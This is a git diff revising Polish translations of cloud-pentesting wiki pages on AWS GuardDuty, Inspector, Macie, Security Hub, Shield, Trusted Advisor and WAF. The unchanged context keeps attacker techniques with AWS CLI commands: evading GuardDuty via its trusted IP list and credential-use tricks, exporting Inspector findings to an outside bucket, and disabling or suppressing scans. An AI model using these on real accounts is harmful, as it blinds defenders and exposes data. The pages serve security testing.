DeleteObject), aby wykrywać podejrzaną aktywność we wszystkich Twoich koszykach Amazon S3. +- **Reconnaissance**: Aktywność sugerująca rekonesans przez atakującego, taka jak **nietypowa aktywność API**, podejrzane próby **logowania** do bazy danych, skanowanie **portów** wewnątrz VPC, nietypowe wzorce nieudanych prób logowania lub skanowanie portów z zablokowanego adresu IP. +- **Instance compromise**: Aktywność wskazująca na kompromitację instancji, taka jak **kopanie kryptowalut, złośliwe polecenia i kontrola (C\&C)**, złośliwe oprogramowanie wykorzystujące algorytmy generowania domen (DGA), aktywność odmowy usługi wychodzącej, nietypowo **wysoki** wolumen ruchu sieciowego, nietypowe protokoły sieciowe, komunikacja instancji wychodzącej z znanym złośliwym adresem IP, tymczasowe poświadczenia Amazon EC2 używane przez zewnętrzny adres IP oraz eksfiltracja danych przy użyciu DNS. +- **Account compromise**: Typowe wzorce wskazujące na kompromitację konta obejmują wywołania API z nietypowej geolokalizacji lub proxy anonimizującego, próby wyłączenia logowania AWS CloudTrail, zmiany osłabiające politykę haseł konta, nietypowe uruchomienia instancji lub infrastruktury, wdrożenia infrastruktury w nietypowym regionie, kradzież poświadczeń, podejrzana aktywność logowania do bazy danych oraz wywołania API z znanych złośliwych adresów IP. +- **Bucket compromise**: Aktywność wskazująca na kompromitację koszyka, taka jak podejrzane wzorce dostępu do danych wskazujące na nadużycie poświadczeń, nietypowa aktywność API Amazon S3 z zdalnego hosta, nieautoryzowany dostęp S3 z znanych złośliwych adresów IP oraz wywołania API w celu pobrania danych z koszyków S3 przez użytkownika bez wcześniejszej historii dostępu do koszyka lub wywołane z nietypowej lokalizacji. Amazon GuardDuty nieprzerwanie monitoruje i analizuje zdarzenia danych S3 AWS CloudTrail (np. GetObject, ListObjects, DeleteObject), aby wykrywać podejrzaną aktywność we wszystkich Twoich koszykach Amazon S3.
@@ -104,7 +104,7 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ### General Guidance -Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, które zamierzasz użyć: +Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, których zamierzasz użyć: - Czas, w którym są używane - Lokalizacje @@ -113,10 +113,10 @@ Spróbuj dowiedzieć się jak najwięcej o zachowaniu poświadczeń, które zami Z tą informacją, odtwórz jak najwięcej tego samego scenariusza, aby użyć dostępu: -- Jeśli to jest **użytkownik lub rola dostępna przez użytkownika**, spróbuj używać jej w tych samych godzinach, z tej samej geolokalizacji (nawet tego samego ISP i IP, jeśli to możliwe) -- Jeśli to jest **rola używana przez usługę**, stwórz tę samą usługę w tym samym regionie i używaj jej stamtąd w tych samych przedziałach czasowych +- Jeśli to jest **użytkownik lub rola dostępna przez użytkownika**, spróbuj użyć jej w tych samych godzinach, z tej samej geolokalizacji (nawet tego samego ISP i IP, jeśli to możliwe) +- Jeśli to jest **rola używana przez usługę**, stwórz tę samą usługę w tym samym regionie i użyj jej stamtąd w tych samych przedziałach czasowych - Zawsze staraj się używać **tych samych uprawnień**, które ten podmiot używał -- Jeśli musisz **użyć innych uprawnień lub nadużyć uprawnienia** (na przykład, pobrać 1.000.000 plików dziennika cloudtrail), rób to **powoli** i z **minimalną ilością interakcji** z AWS (awscli czasami wywołuje kilka API do odczytu przed zapisem) +- Jeśli musisz **użyć innych uprawnień lub nadużyć uprawnienia** (na przykład, pobrać 1.000.000 plików dziennika cloudtrail) rób to **powoli** i z **minimalną ilością interakcji** z AWS (awscli czasami wywołuje kilka API do odczytu przed zapisem) ### Breaking GuardDuty @@ -135,7 +135,7 @@ aws guardduty create-filter --detector-id --name -- ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Atakujący z wcześniejszymi uprawnieniami mogli modyfikować [**Zaufaną listę IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, dodając do niej swój adres IP i unikać generowania alertów. +Napastnicy z wcześniejszymi uprawnieniami mogli modyfikować [**Zaufaną listę IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, dodając do niej swój adres IP i unikać generowania alertów. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` @@ -164,12 +164,12 @@ Aby temu zapobiec, możesz poszukać w skrypcie `session.py` w pakiecie `botocor #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Ekstrakcja poświadczeń EC2 z usługi metadanych i **wykorzystywanie ich poza** środowiskiem AWS aktywuje alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Z kolei wykorzystanie tych poświadczeń z instancji EC2 uruchamia alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Jednak **użycie poświadczeń na innej skompromitowanej instancji EC2 w tym samym koncie pozostaje niewykryte**, nie generując żadnego alertu. +Ekstrakcja poświadczeń EC2 z usługi metadanych i **wykorzystywanie ich poza** środowiskiem AWS aktywuje alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Z kolei wykorzystanie tych poświadczeń z instancji EC2 uruchamia alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Jednak **użycie poświadczeń na innej skompromitowanej instancji EC2 w tym samym koncie pozostaje niewykryte**, nie podnosząc żadnego alertu. > [!TIP] -> Dlatego **użyj wyekstrahowanych poświadczeń z wnętrza maszyny**, w której je znalazłeś, aby nie uruchomić tego alertu. +> Dlatego **użyj wyeksportowanych poświadczeń z wnętrza maszyny**, w której je znalazłeś, aby nie uruchomić tego alertu. -## Referencje +## References - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 4dbbb1dd8..2424fa123 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -28,15 +28,15 @@ Wyniki są również klasyfikowane w trzy następujące typy: Filtry i reguły tłumienia w Amazon Inspector pomagają zarządzać i priorytetyzować wyniki. Filtry pozwalają na zawężenie wyników na podstawie określonych kryteriów, takich jak ciężkość lub typ zasobu. Reguły tłumienia pozwalają na tłumienie niektórych wyników, które są uważane za niskie ryzyko, zostały już złagodzone lub z jakiegokolwiek innego ważnego powodu, zapobiegając ich przeciążeniu w raportach bezpieczeństwa i pozwalając skupić się na bardziej krytycznych problemach. -#### Oprogramowanie Bill of Materials (SBOM) +#### Lista materiałów oprogramowania (SBOM) -Oprogramowanie Bill of Materials (SBOM) w Amazon Inspector to eksportowalna zagnieżdżona lista inwentarzowa szczegółowo opisująca wszystkie komponenty w pakiecie oprogramowania, w tym biblioteki i zależności. SBOM-y pomagają zapewnić przejrzystość w łańcuchu dostaw oprogramowania, umożliwiając lepsze zarządzanie podatnościami i zgodnością. Są kluczowe dla identyfikacji i łagodzenia ryzyk związanych z komponentami oprogramowania open source i stron trzecich. +Lista materiałów oprogramowania (SBOM) w Amazon Inspector to eksportowalna zagnieżdżona lista inwentarzowa szczegółowo opisująca wszystkie komponenty w pakiecie oprogramowania, w tym biblioteki i zależności. SBOM-y pomagają zapewnić przejrzystość w łańcuchu dostaw oprogramowania, umożliwiając lepsze zarządzanie podatnościami i zgodnością. Są kluczowe dla identyfikacji i łagodzenia ryzyk związanych z komponentami oprogramowania open source i stron trzecich. ### Kluczowe funkcje #### Eksport wyników -Amazon Inspector oferuje możliwość eksportu wyników do Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, co umożliwia generowanie szczegółowych raportów zidentyfikowanych podatności i narażeń do dalszej analizy lub udostępnienia w określonym terminie. Ta funkcja obsługuje różne formaty wyjściowe, takie jak CSV i JSON, co ułatwia integrację z innymi narzędziami i systemami. Funkcjonalność eksportu pozwala na dostosowanie danych zawartych w raportach, umożliwiając filtrowanie wyników na podstawie określonych kryteriów, takich jak ciężkość, typ zasobu lub zakres dat, a domyślnie obejmuje wszystkie Twoje wyniki w bieżącym regionie AWS z aktywnym statusem. +Amazon Inspector oferuje możliwość eksportu wyników do Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, co umożliwia generowanie szczegółowych raportów zidentyfikowanych podatności i narażeń do dalszej analizy lub udostępnienia w określonym terminie. Ta funkcja obsługuje różne formaty wyjściowe, takie jak CSV i JSON, co ułatwia integrację z innymi narzędziami i systemami. Funkcjonalność eksportu pozwala na dostosowanie danych zawartych w raportach, umożliwiając filtrowanie wyników na podstawie określonych kryteriów, takich jak ciężkość, typ zasobu lub zakres dat, a domyślnie obejmuje wszystkie Twoje wyniki w bieżącym regionie AWS o statusie Aktywnym. Podczas eksportu wyników niezbędny jest klucz KMS (Key Management Service) do szyfrowania danych podczas eksportu. Klucze KMS zapewniają, że eksportowane wyniki są chronione przed nieautoryzowanym dostępem, zapewniając dodatkową warstwę bezpieczeństwa dla wrażliwych informacji o podatnościach. @@ -44,15 +44,15 @@ Podczas eksportu wyników niezbędny jest klucz KMS (Key Management Service) do Amazon Inspector oferuje solidne możliwości skanowania instancji Amazon EC2 w celu wykrywania podatności i problemów z bezpieczeństwem. Inspector porównuje wyodrębnione metadane z instancji EC2 z zasadami z poradników bezpieczeństwa, aby wygenerować podatności pakietów i problemy z dostępnością sieci. Skanowania te mogą być przeprowadzane za pomocą metod **opartych na agencie** lub **bez agenta**, w zależności od konfiguracji ustawień **trybu skanowania** Twojego konta. -- **Oparte na agencie**: Wykorzystuje agenta AWS Systems Manager (SSM) do przeprowadzania szczegółowych skanów. Ta metoda pozwala na kompleksowe zbieranie i analizowanie danych bezpośrednio z instancji. +- **Oparte na agencie**: Wykorzystuje agenta AWS Systems Manager (SSM) do przeprowadzania szczegółowych skanów. Ta metoda pozwala na kompleksowe zbieranie danych i analizę bezpośrednio z instancji. - **Bez agenta**: Oferuje lekką alternatywę, która nie wymaga instalacji agenta na instancji, tworząc migawkę EBS każdego woluminu instancji EC2, szukając podatności, a następnie ją usuwając; wykorzystując istniejącą infrastrukturę AWS do skanowania. Tryb skanowania określa, która metoda będzie używana do przeprowadzania skanów EC2: - **Oparte na agencie**: Wymaga zainstalowania agenta SSM na instancjach EC2 do głębokiej inspekcji. -- **Skanowanie hybrydowe**: Łączy metody oparte na agencie i bez agenta, aby maksymalizować zasięg i minimalizować wpływ na wydajność. W tych instancjach EC2, gdzie zainstalowany jest agent SSM, Inspector przeprowadzi skanowanie oparte na agencie, a dla tych, gdzie nie ma agenta SSM, skanowanie będzie przeprowadzane bez agenta. +- **Skanowanie hybrydowe**: Łączy metody oparte na agencie i bez agenta, aby maksymalizować zasięg i minimalizować wpływ na wydajność. W tych instancjach EC2, w których zainstalowany jest agent SSM, Inspector przeprowadzi skanowanie oparte na agencie, a dla tych, w których nie ma agenta SSM, skanowanie będzie przeprowadzane bez agenta. -Inną ważną funkcją jest **głęboka inspekcja** dla instancji Linux EC2. Ta funkcja oferuje dokładną analizę oprogramowania i konfiguracji instancji Linux EC2, dostarczając szczegółowe oceny podatności, w tym podatności systemu operacyjnego, podatności aplikacji i błędów konfiguracyjnych, zapewniając kompleksową ocenę bezpieczeństwa. Osiąga się to poprzez inspekcję **niestandardowych ścieżek** i wszystkich ich podkatalogów. Domyślnie Amazon Inspector skanuje następujące, ale każde konto członkowskie może zdefiniować do 5 dodatkowych niestandardowych ścieżek, a każdy delegowany administrator do 10: +Inną ważną funkcją jest **głęboka inspekcja** dla instancji EC2 Linux. Ta funkcja oferuje dokładną analizę oprogramowania i konfiguracji instancji EC2 Linux, dostarczając szczegółowe oceny podatności, w tym podatności systemu operacyjnego, podatności aplikacji i błędów konfiguracyjnych, zapewniając kompleksową ocenę bezpieczeństwa. Osiąga się to poprzez inspekcję **niestandardowych ścieżek** i wszystkich ich podkatalogów. Domyślnie Amazon Inspector skanuje następujące, ale każde konto członkowskie może zdefiniować do 5 dodatkowych niestandardowych ścieżek, a każdy delegowany administrator do 10: - `/usr/lib` - `/usr/lib64` @@ -64,22 +64,22 @@ Inną ważną funkcją jest **głęboka inspekcja** dla instancji Linux EC2. Ta Amazon Inspector zapewnia solidne możliwości skanowania obrazów kontenerów Amazon Elastic Container Registry (ECR), zapewniając, że podatności pakietów są wykrywane i zarządzane efektywnie. - **Podstawowe skanowanie**: To szybkie i lekkie skanowanie, które identyfikuje znane podatności pakietów OS w obrazach kontenerów, korzystając z standardowego zestawu zasad z projektu open-source Clair. Przy tej konfiguracji skanowania Twoje repozytoria będą skanowane przy przesyłaniu lub podczas ręcznych skanów. -- **Zwiększone skanowanie**: Ta opcja dodaje funkcję ciągłego skanowania oprócz skanowania przy przesyłaniu. Zwiększone skanowanie zagłębia się głębiej w warstwy każdego obrazu kontenera, aby zidentyfikować podatności w pakietach OS i w pakietach języków programowania z wyższą dokładnością. Analizuje zarówno obraz bazowy, jak i wszelkie dodatkowe warstwy, dostarczając kompleksowy widok potencjalnych problemów z bezpieczeństwem. +- **Zwiększone skanowanie**: Ta opcja dodaje funkcję ciągłego skanowania oprócz skanowania przy przesyłaniu. Zwiększone skanowanie zagłębia się głębiej w warstwy każdego obrazu kontenera, aby zidentyfikować podatności w pakietach OS i w pakietach języków programowania z wyższą dokładnością. Analizuje zarówno obraz bazowy, jak i wszelkie dodatkowe warstwy, zapewniając kompleksowy widok potencjalnych problemów z bezpieczeństwem. #### Skanowanie funkcji Amazon Lambda -Amazon Inspector zawiera kompleksowe możliwości skanowania funkcji AWS Lambda i jej warstw, zapewniając bezpieczeństwo i integralność aplikacji bezserwerowych. Inspector oferuje dwa typy skanowania dla funkcji Lambda: +Amazon Inspector zawiera kompleksowe możliwości skanowania funkcji AWS Lambda i jej warstw, zapewniając bezpieczeństwo i integralność aplikacji bezserwerowych. Inspector oferuje dwa rodzaje skanowania dla funkcji Lambda: - **Standardowe skanowanie Lambda**: Ta domyślna funkcja identyfikuje podatności oprogramowania w zależnościach pakietu aplikacji dodanych do Twojej funkcji Lambda i warstw. Na przykład, jeśli Twoja funkcja używa wersji biblioteki takiej jak python-jwt z znaną podatnością, generuje wynik. - **Skanowanie kodu Lambda**: Analizuje niestandardowy kod aplikacji w poszukiwaniu problemów z bezpieczeństwem, wykrywając podatności takie jak błędy wstrzykiwania, wycieki danych, słaba kryptografia i brak szyfrowania. Zawiera fragmenty kodu podkreślające wykryte podatności, takie jak zakodowane na sztywno dane uwierzytelniające. Wyniki zawierają szczegółowe sugestie dotyczące usunięcia i fragmenty kodu do naprawy problemów. -#### **Skanowania Center for Internet Security (CIS)** +#### **Skanowania Centrum Bezpieczeństwa Internetu (CIS)** -Amazon Inspector zawiera skanowania CIS, aby porównać systemy operacyjne instancji Amazon EC2 z najlepszymi praktykami zalecanymi przez Center for Internet Security (CIS). Te skanowania zapewniają, że konfiguracje są zgodne z branżowymi standardami bezpieczeństwa. +Amazon Inspector zawiera skanowania CIS, aby porównać systemy operacyjne instancji Amazon EC2 z najlepszymi praktykami zalecanymi przez Centrum Bezpieczeństwa Internetu (CIS). Te skanowania zapewniają, że konfiguracje są zgodne z branżowymi standardami bezpieczeństwa. - **Konfiguracja**: Skanowania CIS oceniają, czy konfiguracje systemu spełniają określone zalecenia CIS Benchmark, z każdym sprawdzeniem powiązanym z identyfikatorem i tytułem sprawdzenia CIS. - **Wykonanie**: Skanowania są przeprowadzane lub planowane na podstawie tagów instancji i zdefiniowanych harmonogramów. -- **Wyniki**: Wyniki po skanowaniu wskazują, które kontrole przeszły, zostały pominięte lub nie powiodły się, dostarczając informacji o stanie bezpieczeństwa każdej instancji. +- **Wyniki**: Wyniki po skanowaniu wskazują, które sprawdzenia przeszły, zostały pominięte lub nie powiodły się, dostarczając informacji o postawie bezpieczeństwa każdej instancji. ### Enumeracja ```bash @@ -185,13 +185,13 @@ aws inspector list-rules-packages ### Post Exploitation > [!TIP] -> Z perspektywy atakującego, ta usługa może pomóc atakującemu w znalezieniu luk i ekspozycji sieci, które mogą pomóc mu w kompromitacji innych instancji/kontenerów. +> Z perspektywy atakującego, ta usługa może pomóc atakującemu w znalezieniu luk i ekspozycji w sieci, które mogą pomóc mu w kompromitacji innych instancji/kontenerów. > > Jednak atakujący może być również zainteresowany zakłóceniem tej usługi, aby ofiara nie mogła zobaczyć luk (wszystkich lub konkretnych). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -Atakujący mógłby generować szczegółowe raporty dotyczące luk lub list materiałów oprogramowania (SBOM) i exfiltrując je z twojego środowiska AWS. Informacje te mogą być wykorzystane do identyfikacji konkretnych słabości, przestarzałego oprogramowania lub niebezpiecznych zależności, umożliwiając ukierunkowane ataki. +Atakujący mógłby generować szczegółowe raporty dotyczące luk lub list materiałów oprogramowania (SBOM) i exfiltrując je z twojego środowiska AWS. Informacje te mogą być wykorzystane do identyfikacji konkretnych słabości, przestarzałego oprogramowania lub niebezpiecznych zależności, co umożliwia ukierunkowane ataki. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] @@ -257,7 +257,7 @@ Przykład poniżej pokazuje, jak wyeksportować wszystkie aktywne wyniki z Amazo ] } ``` -3. Wykonaj polecenie, aby **utworzyć raport ustaleń** eksfiltrując go: +3. Wykonaj polecenie, aby **utworzyć raport ustaleń**, eksfiltrując go: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` @@ -272,11 +272,11 @@ aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **Potencjalny wpływ**: Zakłócenie monitorowania bezpieczeństwa i uniemożliwienie terminowego wykrywania oraz usuwania problemów z bezpieczeństwem. +- **Potencjalny wpływ**: Zakłócenie monitorowania bezpieczeństwa i zapobieganie terminowemu wykrywaniu oraz usuwaniu problemów z bezpieczeństwem. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -Napastnik z tymi uprawnieniami mógłby manipulować regułami filtrowania, które określają, które luki i problemy z bezpieczeństwem są zgłaszane lub tłumione (jeśli **akcja** jest ustawiona na SUPPRESS, zostanie utworzona reguła tłumienia). Może to ukryć krytyczne luki przed administratorami bezpieczeństwa, ułatwiając wykorzystanie tych słabości bez wykrycia. Poprzez modyfikację lub usunięcie ważnych filtrów, napastnik mógłby również generować szum, zalewając system nieistotnymi wynikami, co utrudniałoby skuteczne monitorowanie i reakcję na zagrożenia. +Napastnik z tymi uprawnieniami mógłby manipulować regułami filtrowania, które określają, które luki i problemy z bezpieczeństwem są zgłaszane lub tłumione (jeśli **akcja** jest ustawiona na SUPPRESS, zostanie utworzona reguła tłumienia). Może to ukryć krytyczne luki przed administratorami bezpieczeństwa, ułatwiając wykorzystanie tych słabości bez wykrycia. Poprzez modyfikację lub usunięcie ważnych filtrów, napastnik mógłby również generować szum, zalewając system nieistotnymi wynikami, co utrudnia skuteczne monitorowanie i reakcję na zagrożenia. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -322,7 +322,7 @@ aws inspector2 disassociate-member --account-id #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -Napastnik z uprawnieniem `inspector2:Disable` mógłby wyłączyć skany bezpieczeństwa dla określonych typów zasobów (EC2, ECR, Lambda, kod Lambda) w wyznaczonych kontach, pozostawiając części środowiska AWS bez nadzoru i podatne na ataki. Dodatkowo, posiadając uprawnienia **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, napastnik mógłby następnie selektywnie ponownie włączyć skany, aby uniknąć wykrycia podejrzanych konfiguracji. +Napastnik z uprawnieniem `inspector2:Disable` mógłby wyłączyć skany bezpieczeństwa dla określonych typów zasobów (EC2, ECR, Lambda, kod Lambda) w określonych kontach, pozostawiając części środowiska AWS niestrzeżone i podatne na ataki. Dodatkowo, posiadając uprawnienia **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, napastnik mógłby następnie ponownie włączyć skany selektywnie, aby uniknąć wykrycia podejrzanych konfiguracji. > [!WARNING] > Ta akcja musi być wykonana przez delegowanego administratora. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 40dd61acf..1b86b2120 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -37,7 +37,7 @@ Pulpit nawigacyjny klasyfikuje dane w różnych sekcjach, w tym: - Obiekty S3 (według zakresu czasowego, ACL, PII) - Wydarzenia/użytkownicy CloudTrail o wysokim ryzyku -- Lokalizacje aktywności +- Miejsca aktywności - Typy tożsamości użytkowników CloudTrail i inne. ### Klasyfikacja użytkowników @@ -68,7 +68,7 @@ Najwyższe ryzyko wśród tych kategorii określa ostateczny poziom ryzyka pliku Funkcja badawcza Amazon Macie umożliwia niestandardowe zapytania w całych danych Macie w celu przeprowadzenia szczegółowej analizy. Filtry obejmują dane CloudTrail, właściwości koszyków S3 i obiekty S3. Ponadto wspiera zapraszanie innych kont do współdzielenia Amazon Macie, ułatwiając współpracę w zarządzaniu danymi i monitorowaniu bezpieczeństwa. -### Enumeracja +### Enumeration ``` # Get buckets aws macie2 describe-buckets @@ -101,15 +101,15 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` -#### Post Eksploatacja +#### Post Exploitation > [!TIP] > Z perspektywy atakującego, ta usługa nie jest stworzona do wykrywania atakującego, ale do wykrywania wrażliwych informacji w przechowywanych plikach. Dlatego ta usługa może **pomóc atakującemu w znalezieniu wrażliwych informacji** w bucketach.\ -> Jednak być może atakujący mógłby również być zainteresowany zakłóceniem jej działania, aby uniemożliwić ofierze otrzymywanie powiadomień i łatwiejsze kradzież tych informacji. +> Jednak być może atakujący mógłby również być zainteresowany zakłóceniem jej działania, aby uniemożliwić ofierze otrzymywanie powiadomień i łatwiej ukraść te informacje. -TODO: PRs są mile widziane! +TODO: PRs are welcome! -## Odniesienia +## References - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index e00d32dce..1089e221b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,9 +4,9 @@ ## Security Hub -**Security Hub** zbiera dane **bezpieczeństwa** z **różnych kont AWS**, usług i wspieranych produktów partnerów trzecich oraz pomaga w **analizie trendów bezpieczeństwa** i identyfikacji najważniejszych problemów związanych z bezpieczeństwem. +**Security Hub** zbiera dane dotyczące bezpieczeństwa **z różnych kont AWS**, usług i wspieranych produktów partnerów trzecich oraz pomaga w **analizie trendów bezpieczeństwa** i identyfikacji najważniejszych problemów związanych z bezpieczeństwem. -Centralizuje **powiadomienia związane z bezpieczeństwem** w różnych kontach i zapewnia interfejs użytkownika do ich przeglądania. Największym ograniczeniem jest to, że **nie centralizuje powiadomień w różnych regionach**, tylko w ramach kont. +Centralizuje **powiadomienia związane z bezpieczeństwem w różnych kontach** i zapewnia interfejs użytkownika do ich przeglądania. Największym ograniczeniem jest to, że **nie centralizuje powiadomień w różnych regionach**, tylko w ramach kont. **Cechy** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index 01e01c8a9..d5054c405 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,10 +6,10 @@ AWS Shield został zaprojektowany, aby **chronić twoją infrastrukturę przed rozproszonymi atakami typu denial of service**, powszechnie znanymi jako DDoS. -**AWS Shield Standard** jest **darmowy** dla wszystkich i oferuje **ochronę DDoS** przed niektórymi z bardziej powszechnych ataków DDoS na warstwie trzeciej, **warstwie sieciowej**, oraz warstwie czwartej, **warstwie transportowej**. Ta ochrona jest zintegrowana zarówno z CloudFront, jak i Route 53. +**AWS Shield Standard** jest **darmowy** dla wszystkich i oferuje **ochronę DDoS** przed niektórymi z bardziej powszechnych ataków DDoS na poziomie trzecim, **warstwie sieciowej**, oraz na poziomie czwartym, **warstwie transportowej**. Ta ochrona jest zintegrowana zarówno z CloudFront, jak i Route 53. **AWS Shield Advanced** oferuje **wyższy poziom ochrony** przed atakami DDoS w szerszym zakresie usług AWS za dodatkową opłatą. Ten zaawansowany poziom oferuje ochronę dla twoich aplikacji internetowych działających na EC2, CloudFront, ELB oraz Route 53. Oprócz tych dodatkowych typów zasobów, oferowane są ulepszone poziomy ochrony DDoS w porównaniu do Standard. Będziesz również miał **dostęp do specjalistycznego zespołu reakcji na DDoS w AWS, znanego jako DRT, dostępnego 24 godziny na dobę, 7 dni w tygodniu**. -Podczas gdy wersja Standard Shield oferowała ochronę przed warstwą trzecią i czwartą, **Advanced oferuje również ochronę przed atakami na warstwie siódmej, aplikacyjnymi.** +Podczas gdy wersja Standard Shield oferowała ochronę przed poziomem trzecim i czwartym, **Advanced oferuje również ochronę przed atakami na poziomie siódmym, aplikacyjnym.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index b973966f0..8fa04548f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -15,15 +15,15 @@ Trusted Advisor to usługa, która **oferuje rekomendacje** w celu optymalizacji Kompleksowe funkcje Trusted Advisor są dostępne wyłącznie w ramach **planów wsparcia biznesowego lub przedsiębiorstw AWS**. Bez tych planów dostęp ogranicza się do **sześciu podstawowych kontroli**, głównie skoncentrowanych na wydajności i bezpieczeństwie. -### Notifications and Data Refresh +### Powiadomienia i odświeżanie danych -- Trusted Advisor może wydawać powiadomienia. +- Trusted Advisor może wydawać alerty. - Elementy mogą być wyłączane z jego kontroli. -- Dane są odświeżane co 24 godziny. Możliwe jest jednak ręczne odświeżenie 5 minut po ostatnim odświeżeniu. +- Dane są odświeżane co 24 godziny. Jednak ręczne odświeżenie jest możliwe 5 minut po ostatnim odświeżeniu. -### **Checks Breakdown** +### **Podział kontroli** -#### CategoriesCore +#### KategoriePodstawowe 1. Optymalizacja kosztów 2. Bezpieczeństwo @@ -32,7 +32,7 @@ Kompleksowe funkcje Trusted Advisor są dostępne wyłącznie w ramach **planów 5. Limity usług 6. Uprawnienia do koszyków S3 -#### Core Checks +#### Podstawowe kontrole Ograniczone do użytkowników bez planów wsparcia biznesowego lub przedsiębiorstw: @@ -43,9 +43,9 @@ Ograniczone do użytkowników bez planów wsparcia biznesowego lub przedsiębior 5. Publiczne migawki RDS 6. Limity usług -#### Security Checks +#### Kontrole bezpieczeństwa -Lista kontroli skoncentrowana głównie na identyfikacji i naprawie zagrożeń bezpieczeństwa: +Lista kontroli koncentrująca się głównie na identyfikacji i naprawie zagrożeń bezpieczeństwa: - Ustawienia grup zabezpieczeń dla portów wysokiego ryzyka - Niekontrolowany dostęp do grup zabezpieczeń diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 25d4db5c4..eb5931cfa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -199,7 +199,7 @@ W wielu operacjach Delete i Update konieczne byłoby podanie **lock token**. Tok Atakujący mógłby skompromitować bezpieczeństwo dotkniętego zasobu poprzez: - Tworzenie grup reguł, które mogłyby na przykład blokować legalny ruch z legalnych adresów IP, powodując odmowę usługi. -- Aktualizowanie grup reguł, mając możliwość modyfikacji ich działań na przykład z **Block** na **Allow**. +- 